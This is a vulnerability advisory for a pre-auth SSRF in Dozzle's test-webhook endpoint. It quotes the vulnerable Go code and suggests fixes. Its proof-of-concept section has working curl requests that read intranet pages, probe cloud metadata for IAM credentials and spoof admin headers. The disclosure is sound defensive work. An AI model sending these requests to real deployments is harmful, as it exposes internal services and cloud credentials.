CVE-2026-45298

## Summary In a default dozzle deploy (the documented quickstart, no `DOZZLE_AUTH_PROVIDER` set), `POST /api/notifications/test-webhook` is reachable without authentication and forwards an attacker-controlled URL into a `WebhookDispatcher` that: - Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and - Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx. This is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle's host can route to — including private subnets, link-local cloud metadata, and loopback services. ## Affected versions `internal/notification/dispatcher/webhook.go` and `internal/web/notifications.go` at commit `581bab3a43ead84ea4d009a469a17af98fb3377f` and earlier (the test-webhook handler has been in place since the notifications subsystem was added). ## Default-deploy reachability chain ``` main.go:58-59 → enforces AuthProvider in {none, forward-proxy, simple} support/cli/args.go:18 → AuthProvider default is "none" main.go:231-243 → when AuthProvider == "none", web.AuthProvider stays at NONE internal/web/routes.go:130-132, 137-138 → auth middleware only registered if Provider != NONE internal/web/routes.go:172-188 → /api/notifications/* (incl. /test-webhook) is inside that conditional Group ``` So the default Quickstart deploy ```bash docker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest ``` exposes `POST /api/notifications/test-webhook` to the network without any authentication. ## The vulnerable handler ```go // internal/web/notifications.go:652-716 func (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) { var input TestWebhookInput if err := json.NewDecoder(r.Body).Decode(&input); err != nil { ... } ... webhook, err := dispatcher.NewWebhookDispatcher("test", input.URL, templateStr, input.Headers) ... result := webhook.SendTest(r.Context(), mockNotification) ... writeJSON(w, http.StatusOK, &TestWebhookResult{ Success: result.Success, StatusCode: statusCode, Error: errStr, }) } ``` `input.URL` and `input.Headers` are entirely user-controlled. No host/IP/scheme validation anywhere. ## The reflection sink ```go // internal/notification/dispatcher/webhook.go:88-120 req, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload)) ... for k, v := range w.Headers { req.Header.Set(k, v) } ... resp, err := w.client.Do(req) ... if resp.StatusCode < 200 || resp.StatusCode >= 300 { limitedReader := io.LimitReader(resp.Body, 1024*1024) // 1 MB responseBody, _ := io.ReadAll(limitedReader) ... return TestResult{ Success: false, StatusCode: resp.StatusCode, Error: fmt.Sprintf("webhook returned status code %d: %s", resp.StatusCode, string(responseBody)), } } ``` When the SSRF target returns non-2xx, up to 1 MB of response body becomes part of `Error`, which is then JSON-encoded back to the attacker. ## PoC ### A. Read intranet admin-panel response bodies (most common path) Most internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc. ```bash curl -X POST -H "Content-Type: application/json" \ -d '{"url":"http://192.168.1.1/admin/index.html","headers":{}}' \ http://dozzle.example.com/api/notifications/test-webhook ``` Response shape (`writeJSON` to the public Internet): ```json { "Success": false, "StatusCode": 401, "Error": "webhook returned status code 401: <html><head>... full intranet HTML body, up to 1MB ...</html>" } ``` ### B. Cloud IMDS reachability probe ```bash curl -X POST -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","headers":{}}' \ http://dozzle.example.com/api/notifications/test-webhook ``` If `StatusCode == 200`, IMDS is reachable. For AWS IMDSv2 the unauth POST returns 401 + body which IS reflected. ### C. Header injection downstream ```bash curl -X POST -H "Content-Type: application/json" \ -d '{ "url":"http://internal-api.example.com:8080/admin/users", "headers":{"X-Forwarded-User":"admin","X-Real-IP":"127.0.0.1"} }' \ http://dozzle.example.com/api/notifications/test-webhook ``` ## Suggested fix 1. **Refuse `test-webhook` when `Authorization.Provider == NONE`.** This is an admin-configuration helper; it should not be reachable on a deploy that has no concept of admin. 2. **SSRF-harden `WebhookDispatcher`.** Resolve URL host once via `net.LookupIP`; refuse private/loopback/link-local/CGNAT; pin `http.Transport.DialContext` to the resolved IP (closes DNS-rebinding TOCTOU). Refuse non-http(s) schemes. 3. **Stop reflecting response body.** UX for "test webhook" only needs `Success: bool, StatusCode: int`. ## Severity - **CVSS 3.1:** High — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` ≈ 7.5 in default no-auth deploy. - **Auth:** none in default deploy. With `DOZZLE_AUTH_PROVIDER=simple` configured, the same primitive is post-auth. ## Reproduction environment - Tested against: `amir20/dozzle:8.x` Docker image (commit `581bab3a43ead84ea4d009a469a17af98fb3377f`). - Code locations: - Handler: `internal/web/notifications.go:652-716` - Sink: `internal/notification/dispatcher/webhook.go:88-120` - Auth gate: `internal/web/routes.go:130-138, 172-188` - Default provider: `internal/support/cli/args.go:18`, `main.go:231` ## Reporter Eddie Ran. Filed via reporter API per dozzle's `SECURITY.md`.

Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy) in github.com/amir20/dozzle